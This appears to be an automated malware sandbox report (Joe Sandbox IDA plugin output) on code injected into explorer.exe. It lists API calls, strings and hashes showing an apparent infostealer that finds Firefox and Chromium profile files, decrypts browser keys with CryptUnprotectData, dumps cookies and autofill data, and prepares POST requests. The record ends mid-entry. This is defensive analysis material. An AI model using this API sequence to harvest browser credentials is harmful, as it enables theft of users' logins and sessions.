Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 030A2B3D
lstrcmpiW.KERNEL32(?,030F62CC), ref: 030A2B63
lstrcmpiW.KERNEL32(?,030F62D0), ref: 030A2B7B

Part of subcall function 030A19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030A2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030A19C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 030A2BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 030A2C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 030A2C43
FindClose.KERNELBASE(00000000), ref: 030A2C52

Strings

cookies.sqlite, xrefs: 030A2C10
\*.*, xrefs: 030A2B15
logins.json, xrefs: 030A2BE1

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: a43693611a50623021ef4d76fc9a61ca2f05547a39f25e97798e4c8c44a3e79c
Instruction ID: dd0208fa1dded3f2c864d44075912c54c0a0725ba61a5f8779b91b5ebb54a63e
Opcode Fuzzy Hash: a43693611a50623021ef4d76fc9a61ca2f05547a39f25e97798e4c8c44a3e79c
Instruction Fuzzy Hash: 8B319434307B095FCA18FBB8A844A7F76DEABC4700F084E3CE956DB645DB7AC9069251

Uniqueness

Uniqueness Score: -1.00%

Function 030A1D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030A2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030A19C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 030A1DA9
lstrcmpiW.KERNEL32(?,030F62CC), ref: 030A1DCF
lstrcmpiW.KERNEL32(?,030F62D0), ref: 030A1DE7
lstrcmpiW.KERNEL32(?,?), ref: 030A1E62

Part of subcall function 030A1CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,030A2C27), ref: 030A1D02
Part of subcall function 030A1CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 030A1D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 030A1E94
FindClose.KERNELBASE(00000000), ref: 030A1EA3

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

Strings

*.*, xrefs: 030A1D8B
\*.*, xrefs: 030A1D79

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 4aa483b4d7e3c0c76bb973368604e86d4523929675ce351c5ff59a7d78b044b9
Instruction ID: 6c225a8c526bf354e37d2b2ded799bf6aedf28edb8b1b4b02831e98aa739b426
Opcode Fuzzy Hash: 4aa483b4d7e3c0c76bb973368604e86d4523929675ce351c5ff59a7d78b044b9
Instruction Fuzzy Hash: 2131DA3430AB455FCB58FBBCA888ABF76EE9FC4240F044919E546C7244DB76C809C751

Uniqueness

Uniqueness Score: -1.00%

Function 030A3E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
Part of subcall function 030A1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

Part of subcall function 030A1C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,030A3E1E,00000000,?,030A3FA8), ref: 030A1C46
Part of subcall function 030A1C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,030A3FA8), ref: 030A1C56
Part of subcall function 030A1C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,030A3FA8), ref: 030A1C76
Part of subcall function 030A1C31: FindCloseChangeNotification.KERNELBASE(00000000,?,030A3FA8), ref: 030A1C91

Part of subcall function 030A2FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,030A3E30,00000000,00000000,?,030A3FA8), ref: 030A2FC1
Part of subcall function 030A2FB1: lstrlen.KERNEL32("encrypted_key":",?,030A3FA8), ref: 030A2FCE
Part of subcall function 030A2FB1: StrStrIA.SHLWAPI("encrypted_key":",030F692C,?,030A3FA8), ref: 030A2FDD

Part of subcall function 030A123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,030A3E4B,00000000), ref: 030A124A
Part of subcall function 030A123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 030A1268
Part of subcall function 030A123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 030A1295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 030A3E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030A3E9E

Strings

DPAP, xrefs: 030A3E5A
DPAP, xrefs: 030A3E52
IDPAP, xrefs: 030A3E6E, 030A3E72
, xrefs: 030A3EA8

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryChangeCloseCreateFindNotificationStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 2367148399-957854035
Opcode ID: 43a4c78558ece1aea1254c9a96038afeb35db239b7b0bd6192dcefb7fd6c54c2
Instruction ID: 121745436593fc805fb47feb1f0861f957427e9ba5a50ad8f03f848ca220e1d7
Opcode Fuzzy Hash: 43a4c78558ece1aea1254c9a96038afeb35db239b7b0bd6192dcefb7fd6c54c2
Instruction Fuzzy Hash: 3121C975606B456BD715EEACA880BBFF2DDAF94600F48096DF841CB240EF78C9458792

Uniqueness

Uniqueness Score: -1.00%

Function 030A4B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 030A116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 030A4BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 030A4BBF

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 421f2c6ce0f3dcb49a452059e6d415d57b8a106a2005433819b565d2bda2ebd5
Instruction ID: 0babc6be510845876c1f4a40776a07015a521a6a7c9964f6d07af5bee7881b31
Opcode Fuzzy Hash: 421f2c6ce0f3dcb49a452059e6d415d57b8a106a2005433819b565d2bda2ebd5
Instruction Fuzzy Hash: FAE0D839813B10ABC658FBBDFC18F8B3BDCDFC5361F10C964A16586184CBBA84408760

Uniqueness

Uniqueness Score: -1.00%

Function 030A3C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
Part of subcall function 030A1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 030A3C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030A3C76
DeleteFileW.KERNELBASE(00000000), ref: 030A3C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030A3C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 030A3D2F
lstrlen.KERNEL32(00000000), ref: 030A3D36
wsprintfA.USER32 ref: 030A3D55
lstrlen.KERNEL32(00000000), ref: 030A3D61
lstrcat.KERNEL32(00000000,?), ref: 030A3D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 030A3DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030A3DED

Strings

SELECT name,value FROM autofill, xrefs: 030A3CAA
AUTOFILL, xrefs: 030A3DBD, 030A3DC2, 030A3DCC
%s = %s, xrefs: 030A3D4F

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateChangeCloseCopyCreateFindNameNotificationPathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2925989150-3488123210
Opcode ID: 5e8c6f332d4e51fe3a34063fd9bd739fde97969294efcaf4d3ea77419e04609f
Instruction ID: 8687b76b5c97fb3ac568de2b5b061c208a2c495326b10ba0bb1b5b129cf06a52
Opcode Fuzzy Hash: 5e8c6f332d4e51fe3a34063fd9bd739fde97969294efcaf4d3ea77419e04609f
Instruction Fuzzy Hash: 2A419F38206745AFD714FBB9EC80E7F7AE9EFC5645F04086CF9469B241DA36D8018B62

Uniqueness

Uniqueness Score: -1.00%

Function 030A28F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030A2AD2

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 030A29E1
lstrlen.KERNEL32(00000000), ref: 030A29EC
wsprintfA.USER32 ref: 030A2A38
lstrlen.KERNEL32(00000000), ref: 030A2A44
lstrcat.KERNEL32(00000000,00000000), ref: 030A2A6C
lstrlen.KERNEL32(00000000,?,?), ref: 030A2A99

Strings

FALSE, xrefs: 030A2A06
COOKIES, xrefs: 030A2AA4, 030A2AAB, 030A2AB1
TRUE, xrefs: 030A2A13
%sTRUE%s%s%s%s%s, xrefs: 030A2A32

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: 169763b109a35ff1accf39ebe8b62588f818b6c9992c882547fd2f4475a47657
Instruction ID: 0e2dcac880b7da2baad6cc00a04c5d2e65b67eb49d45f08087c488a32cecc077
Opcode Fuzzy Hash: 169763b109a35ff1accf39ebe8b62588f818b6c9992c882547fd2f4475a47657
Instruction Fuzzy Hash: 6551D13420A7869FC729EFB9E850A7FB6EAAFC5604F080C3DF4859B241DB35C8058752

Uniqueness

Uniqueness Score: -1.00%

Function 030A2CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

Part of subcall function 030A1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
Part of subcall function 030A1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 030A2D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 030A2D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,030F637C,?,00000FFF,?), ref: 030A2D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 030A2D7B
lstrlenW.KERNEL32(00000000), ref: 030A2DD8

Strings

Profile, xrefs: 030A2D3F
Path, xrefs: 030A2D62
profiles.ini, xrefs: 030A2CCD
IsRelative, xrefs: 030A2D75

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateChangeCloseCreateFileFindNamesNotificationProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 4264105018-4107377610
Opcode ID: 9db42d51c2d5c6ee7a7da889e06234a30ce67ddfd05d37f3508eb4b32b169cf7
Instruction ID: d725f7c512d1b4fb7afc0454fe38d542e7e6b690be074e1059243aaab83aa52a
Opcode Fuzzy Hash: 9db42d51c2d5c6ee7a7da889e06234a30ce67ddfd05d37f3508eb4b32b169cf7
Instruction Fuzzy Hash: CD31F5347067055FC714FFB9A81067FB2EAAFC4300F04483DE9466B282DB7A8846D741

Uniqueness

Uniqueness Score: -1.00%

Function 030A1333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

Part of subcall function 030A106C: lstrlen.KERNEL32(032973A6,00000000,00000000,00000000,030A1366,75918A60,032973A6,00000000), ref: 030A1074
Part of subcall function 030A106C: MultiByteToWideChar.KERNEL32(00000000,00000000,032973A6,00000001,00000000,00000000), ref: 030A1086

Part of subcall function 030A12A3: RtlZeroMemory.NTDLL(?,00000018), ref: 030A12B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 030A13C2
wsprintfW.USER32 ref: 030A14B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 030A1594

Strings

POST, xrefs: 030A1465
Content-Type: application/x-www-form-urlencoded, xrefs: 030A14FB
Accept: */*Referer: %S, xrefs: 030A14AF

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 30a80dbe9be7d20ec0da6aad249e755831b64258bb21ff9011d7670dd30b1acf
Instruction ID: 7a4e55c6ba32eb56446a426f56b46badb311403a0c0f1e5f0d2cf16190c1c6c0
Opcode Fuzzy Hash: 30a80dbe9be7d20ec0da6aad249e755831b64258bb21ff9011d7670dd30b1acf
Instruction Fuzzy Hash: FB719B7460A705AFD758EFA8E884E2BBBE9FF88344F04092DF991C7241DB75D9048B52

Uniqueness

Uniqueness Score: -1.00%

Function 030AB1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 030AB31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 030AB34F

Strings

winShmMap3, xrefs: 030AB399
winShmMap2, xrefs: 030AB2CF
winShmMap1, xrefs: 030AB278

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: fb6f9c7a1d2d44e24a6fc7378f1ca1ac9e4de32faad715a591c6bbf53aa50b96
Instruction ID: 61070067c9b079af0137386f53783f46e05652b1d0d69d166304ee0dafb803cc
Opcode Fuzzy Hash: fb6f9c7a1d2d44e24a6fc7378f1ca1ac9e4de32faad715a591c6bbf53aa50b96
Instruction Fuzzy Hash: AA51D576201B01EFDB25CF9CD844A6BB7E5FF88314F14882EE9528B290DBB0E855CB55

Uniqueness

Uniqueness Score: -1.00%

Function 030AA40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 030AA455
memcpy.NTDLL(?,?,?), ref: 030AA479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 030AA4DB
memset.NTDLL ref: 030AA546

Strings

winRead, xrefs: 030AA515

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 20e51577d289730c7219c2ad20e10d40ea4a11f013a1eae1ff0f34421bd9068f
Instruction ID: b5b8b3577355929a51efe20800210a3ef6c41fe607db03424a9fc6672ca7cada
Opcode Fuzzy Hash: 20e51577d289730c7219c2ad20e10d40ea4a11f013a1eae1ff0f34421bd9068f
Instruction Fuzzy Hash: E5317C75706341AFC740DE98DC8499FB7EAEFC8750F885928F99587650D630EC04CB52

Uniqueness

Uniqueness Score: -1.00%

Function 030A2E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE(?,?), ref: 030A2E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 030A2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 030A2F54
RegCloseKey.KERNELBASE(?), ref: 030A2F62

Part of subcall function 030A19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A1E
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A3C
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A75
Part of subcall function 030A19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A98

Part of subcall function 030A1BC5: lstrlenW.KERNEL32(00000000,00000000,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1BCC
Part of subcall function 030A1BC5: StrStrIW.SHLWAPI(00000000,.exe,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1BF0
Part of subcall function 030A1BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1C05
Part of subcall function 030A1BC5: lstrlenW.KERNEL32(00000000,?,030A2E75,PathToExe,00000000,00000000), ref: 030A1C1C

Part of subcall function 030A1AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,030A2E83,PathToExe,00000000,00000000), ref: 030A1B16

Strings

PathToExe, xrefs: 030A2E5E

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: 295fa84a454137b8d938e6b4612e976af465390c5a05ce6756e70bec41e3186c
Instruction ID: 3e0cec162dbc61e205bc3085f55478caf04a4023b1039277e0d44bedf36bf27c
Opcode Fuzzy Hash: 295fa84a454137b8d938e6b4612e976af465390c5a05ce6756e70bec41e3186c
Instruction Fuzzy Hash: 8631C2356067116F8719EF69D804DBFBAEAEFC8350F04892CF8598B244DE35C902DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 030AA67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 030AA6AD
_allmul.NTDLL(00000000,?,?), ref: 030AA6B6
SetEndOfFile.KERNELBASE(?), ref: 030AA6F3

Strings

winTruncate2, xrefs: 030AA717
winTruncate1, xrefs: 030AA6DF

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: 5629125b16146fdfe4c05b0f164fc1ff8f98ae1e8bc9dd01da24fde622a74d07
Instruction ID: c123868659f4b0aa68ae0702875edaefc7ca5a4beacdc74af0f965dd96360abc
Opcode Fuzzy Hash: 5629125b16146fdfe4c05b0f164fc1ff8f98ae1e8bc9dd01da24fde622a74d07
Instruction Fuzzy Hash: 8421B836302600ABCF54DEADEC80EAB77A9EB84321B058169FD14DB285D634D800CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 030A4A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

wsprintfW.USER32 ref: 030A4AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 030A4AC7
RegCloseKey.KERNELBASE(?), ref: 030A4AD4

Strings

Software, xrefs: 030A4A95
%s\%08x, xrefs: 030A4A9C

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: c13da71338b8ef3ec22fd0c89f5d42e45058fb5e79ef8a3c576b8ab65e9b22ea
Instruction ID: 00da77d587386c3db22e0608195a1c168f93d215624a33a38586f756d9977906
Opcode Fuzzy Hash: c13da71338b8ef3ec22fd0c89f5d42e45058fb5e79ef8a3c576b8ab65e9b22ea
Instruction Fuzzy Hash: F801DF79602108BFDB18EB99EC8AEFF77ADEB44244F50016EF505A3101EAB26E449660

Uniqueness

Uniqueness Score: -1.00%

Function 030A4317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 030A431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 030A4335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 030A4363
RegCloseKey.ADVAPI32(?), ref: 030A43C8

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

Part of subcall function 030A418A: wsprintfW.USER32 ref: 030A4212

Part of subcall function 030A1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030A1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2), ref: 030A1020
Part of subcall function 030A1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 030A43B9

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: d10d9a5831d830c4068e1e922873f1b0ef515ef30ebd83330be5d1b41aa82168
Instruction ID: 91c343ef2e9ac5f1f549d02fc33b7232870878d47ef5b868f257891684370f6e
Opcode Fuzzy Hash: d10d9a5831d830c4068e1e922873f1b0ef515ef30ebd83330be5d1b41aa82168
Instruction Fuzzy Hash: EA11B2B5109205BFE715EB55DC44DBFB7ECEB88304F00462DF489D2100EBB59D089A62

Uniqueness

Uniqueness Score: -1.00%

Function 030AB87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 030AB8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 030AB96F

Strings

winOpen, xrefs: 030ABA22
psow, xrefs: 030ABA95

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: b29747bda940a4f47e529567b4f932d0c737f2af9e1649d130ed5d8624ec739d
Instruction ID: b46b1fa7d637b954e7f3a7364690ea32917094d0417f5d770b18f9a80b296648
Opcode Fuzzy Hash: b29747bda940a4f47e529567b4f932d0c737f2af9e1649d130ed5d8624ec739d
Instruction Fuzzy Hash: 5771C271A0AB05AFC750DF6CE88075ABBE4FF88324F044A2DF8649B280D775D954CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03109247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2819640173.0000000003107000.00000040.80000000.00040000.00000000.sdmp, Offset: 03107000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_3107000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109718897bcc5dd42398a9452c919b487f2419ecc077c5f7a42a5699260495e1
Instruction ID: 7959b19267fde6f6d5ee145fe86a996663635ccffcd0b282c582e3d713d7f345
Opcode Fuzzy Hash: 109718897bcc5dd42398a9452c919b487f2419ecc077c5f7a42a5699260495e1
Instruction Fuzzy Hash: DAA17BB29143925FD721CE78CDE06A1BBA4EB4A324B1D07ADC5E1CB2E3E7E0540AC751

Uniqueness

Uniqueness Score: -1.00%

Function 030A19E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

